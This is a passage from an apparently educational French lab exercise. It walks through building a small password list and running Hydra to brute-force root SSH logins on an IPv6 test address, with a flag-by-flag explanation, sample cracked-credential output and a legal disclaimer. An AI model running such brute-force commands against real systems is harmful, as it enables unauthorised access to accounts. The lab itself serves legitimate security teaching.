Créer une liste de mots de passe :
Ouvrez un terminal dans la machine virtuelle LabEx. Utilisez l'éditeur nano
pour créer un fichier nommé passwords.txt
dans le répertoire ~/project
:
nano ~/project/passwords.txt
Ajoutez les mots de passe suivants au fichier, un mot de passe par ligne :
password
123456
qwerty
admin
secret
Enregistrez le fichier et quittez nano
(Ctrl+X, puis Y, puis Entrée).
Exécuter Hydra pour attaquer le service SSH IPv6 :
Maintenant, nous allons utiliser Hydra pour attaquer le service SSH. Nous utiliserons l'option -6
pour spécifier que nous voulons cibler l'adresse IPv6. Nous spécifierons également le nom d'utilisateur à attaquer (par exemple, root
), la liste de mots de passe que nous avons créée (passwords.txt
) et l'adresse IPv6 du serveur SSH (2001:db8:1::1
).
Exécutez la commande suivante :
hydra -6 -l root -P ~/project/passwords.txt ssh://2001:db8:1::1
Décortiquons cette commande :
hydra
: La commande pour exécuter l'outil Hydra.
-6
: Spécifie que nous voulons utiliser IPv6.
-l root
: Spécifie le nom d'utilisateur à attaquer. Dans ce cas, nous attaquons l'utilisateur root
.
-P ~/project/passwords.txt
: Spécifie la liste de mots de passe à utiliser. Dans ce cas, nous utilisons le fichier passwords.txt
que nous avons créé dans le répertoire ~/project
.
ssh://2001:db8:1::1
: Spécifie le service SSH cible. Le préfixe ssh://
indique que nous attaquons un service SSH, et 2001:db8:1::1
est l'adresse IPv6 du serveur.
Hydra va maintenant commencer à tester les mots de passe du fichier passwords.txt
contre le service SSH. Si Hydra trouve un mot de passe valide, il affichera les identifiants. La sortie devrait ressembler à ceci :
Hydra v9.1 (c) 2020 by van Hauser/THC - Use freely but only for legal purposes.
Hydra starting at 2023-10-27 10:00:00
[DATA] 1 task, 5 hosts, 5 tries per host
[DATA] attacking ssh://2001:db8:1::1:22
[22][ssh] host: 2001:db8:1::1 login: root password: password
Hydra finished.
Cette sortie indique que Hydra a réussi à craquer le mot de passe de l'utilisateur root
, et que le mot de passe est password
.
Remarque importante : Effectuer une attaque de force brute sur les mots de passe d'un système sans autorisation est illégal et contraire à l'éthique. Ce laboratoire a uniquement un but éducatif, et vous ne devriez utiliser ces techniques que sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de tester.